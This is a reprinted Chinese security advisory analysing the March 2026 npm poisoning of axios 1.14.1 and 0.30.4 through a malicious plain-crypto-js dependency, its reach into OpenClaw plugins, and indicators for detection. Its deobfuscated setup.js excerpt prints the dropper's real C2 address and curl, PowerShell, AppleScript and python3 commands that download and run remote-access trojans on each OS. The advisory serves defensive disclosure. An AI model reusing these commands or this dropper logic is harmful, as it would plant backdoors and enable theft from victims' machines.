Axios库投毒影响17.4万组件,OpenClaw受影响分析

admin 2026-04-02 04:16:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 2026年3月31日,攻击者利用窃取的Axios维护者npmToken,向npm仓库发布了恶意版本的axios(1.14.1和0.30.4)及其依赖plain-crypto-js(4.2.1)。这些包会在安装时执行恶意代码,根据系统下载并运行不同的后门程序,以实现远程控制和信息窃取。受影响的组件广泛,包括OpenClaw等工具。建议排查相关版本依赖、恶意文件及对外联请求。 综合评分: 95 文章分类: 恶意软件,供应链安全,网络安全,漏洞预警,应用安全


cover_image

Axios库投毒影响17.4万组件,OpenClaw受影响分析

墨菲安全

2026年3月31日 18:15 北京

一、概述

Axios 是广泛使用的 JavaScript HTTP 客户端库,npm仓库周下载量超过 8000 万,有17.4万组件依赖axios。

2026 年 3 月 31 日,墨菲安全实验室检测到攻击者利用窃取的 Axios 维护者jasonsaayman的 npm Token,攻击者首先发布了恶意的组件plain-crypto-js,然后在 npm 仓库发布了引入plain-crypto-js依赖的恶意版本axios。

当用户安装时会在受害主机上建立持久化远程控制通道,攻击者可窃取系统敏感信息并进行远控。

同时攻击者控制了Axios开发者的GitHub账号,用户反馈投毒的issue被大量删除。

相关投毒包目前已被官方下架,投毒组件如下:

| | | | | — | — | — | | 组件名 | 版本 | 发布时间 | | axios | 1.14.1 | 2026-03-31 08:21:58 | | axios | 0.30.4 | 2026-03-31 09:00:57 | | plain-crypto-js | 4.2.1 | 2026-03-31 07:59:12 |

二、影响面分析

Axios在js开发中使用广泛,基于墨菲安全1亿+组件知识库排查分析,发现NPM仓库最新版本依赖axios的组件超过17万,各个组件历史版本直接依赖axios的数量超过21万,如需解析直接依赖可参考列表进行排查(请复制下方链接至浏览器打开)

https://s.murphysec.com/package/依赖axios的NPM组件列表-墨菲安全.csv

Openclaw中由于内置集成了line、slack插件,插件中依赖了axios受到影响,受影响的插件依赖如:

node_modules/@line/bot-sdk/package.json:    "axios": "^1.7.4"node_modules/@slack/bolt/package.json:    "axios": "^1.12.0",node_modules/@slack/web-api/package.json:    "axios": "^1.13.5",

用户在受影响时间段(2026-03-31 08:21:58后)下载安装的openclaw,就可能受到影响。

同时GitHub中有近500万开源代码引用了axios。

三、投毒行为分析

1.源码分析

投毒版本的 axios 包在投毒版本的依赖中引入具有后门的 plain-crypto-js 包:

axios包的 package.json 文件

当用户安装受影响版本的 axios 包时会安装 plain-crypto-js 包,plain-crypto-js 组件在安装时会执行恶意的 setup.js 文件。

plain-crypto-js包的 package.json 文件

setup.js 文件是经过混淆的RAT投放器,目的是根据系统下载并执行不同的后门程序,实现远程控制和信息窃取。

setup.js 中的混淆恶意代码

反混淆后的核心代码:

'use strict';
// Deobfuscated, non-executing reconstruction of the original `setup.js`.// The original script is a malicious postinstall downloader. This version keeps// the control flow readable for analysis and intentionally does not execute the// payload, write staged files, or delete project files.
const path = require('path');
const C2_BASE_URL = 'http://sfrclak.com:8000/';const DEFAULT_PACKAGE_ID = '6202033';
const PLATFORM_DARWIN = 'darwin';const PLATFORM_WIN32 = 'win32';
const POWERSHELL_DISCOVERY_COMMAND = 'where powershell';const WINDOWS_POWERSHELL_COPY_NAME = 'wt.exe';const WINDOWS_POWERSHELL_SCRIPT_SUFFIX = '.ps1';const WINDOWS_VBS_SUFFIX = '.vbs';const MAC_STAGE_PATH = '/Library/Caches/com.apple.act.mond';const GENERIC_STAGE_PATH = '/tmp/ld.py';const RESTORED_PACKAGE_JSON = 'package.json';const HIDDEN_PACKAGE_JSON = 'package.md';
const WINDOWS_VBS_TEMPLATE = `Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False`.trim();
const WINDOWS_LAUNCH_TEMPLATE = 'cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f';
const MAC_APPLESCRIPT_TEMPLATE = `set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}    try        do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\\" &> /dev/null"    end trydo shell script "rm -rf LOCAL_PATH"`.trim();
const MAC_LAUNCH_TEMPLATE = 'nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &';
const GENERIC_LAUNCH_TEMPLATE =  'curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &';
function buildPayloadUrl(packageId = DEFAULT_PACKAGE_ID) {  return `${C2_BASE_URL}${packageId}`;}
function buildMacBehavior(packageId = DEFAULT_PACKAGE_ID) {  const payloadUrl = buildPayloadUrl(packageId);  const tempAppleScriptPath = path.posix.join('/tmp', packageId);  const stagedAppleScript = MAC_APPLESCRIPT_TEMPLATE    .replaceAll('SCR_LINK', payloadUrl)    .replaceAll('LOCAL_PATH', tempAppleScriptPath);  const launchCommand = MAC_LAUNCH_TEMPLATE.replaceAll('LOCAL_PATH', tempAppleScriptPath);
  return {    platform: PLATFORM_DARWIN,    payloadUrl,    tempAppleScriptPath,    stagedPayloadPath: MAC_STAGE_PATH,    stagedAppleScript,    launchCommand,    originalActions: [      `write AppleScript to ${tempAppleScriptPath}`,      `download payload to ${MAC_STAGE_PATH} with POST body "packages.npm.org/product0"`,      `chmod 770 ${MAC_STAGE_PATH}`,      `launch ${MAC_STAGE_PATH} ${payloadUrl} in the background`,      `delete ${tempAppleScriptPath}`,    ],  };}

2.针对不同系统的攻击链路

2-1、macOS系统

  • 写入 AppleScript → 静默执行
  • 连接 C2:http://sfrclak.com:8000/6202033
  • 下载 macOS RAT 二进制:/Library/Caches/com.apple.act.mond

2-2、Windows系统

  • 查找 PowerShell 路径
  • 复制为持久化程序:%PROGRAMDATA%\wt.exe
  • 写入并执行 VBScript
  • curl 下载 PowerShell RAT:%TEMP%\6202033.ps1

2-3、Linux 攻击链

  • 直接执行 shell 命令
  • 连接 C2 下载 Python RAT:/tmp/ld.py
  • 后台运行

四、IOC

外联地址:

  • sfrclak.com
  • 142.11.206.73

五、排查方式

axios组件使用量较大,建议通过以下方式排查:

  1. 排查是否有针对sfrclak.com、142.11.206.73的外联请求
  2. 排查是否存在如下版本依赖,重点排查2026-03-31开始构建的项目:

| | | | — | — | | 组件名 | 版本 | | axios | 1.14.1 | | axios | 0.30.4 | | plain-crypto-js | 4.2.1 |

  1. 检查是否有恶意落地后门文件
1. macOS/Library/Caches/com.apple.act.mond
2. Linux/tmp/ld.py
3. Windows%PROGRAMDATA%\wt.exe

部分典型客户

七大产品矩阵


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:墨菲安全 《Axios库投毒影响17.4万组件,OpenClaw受影响分析》

评论:0   参与:  0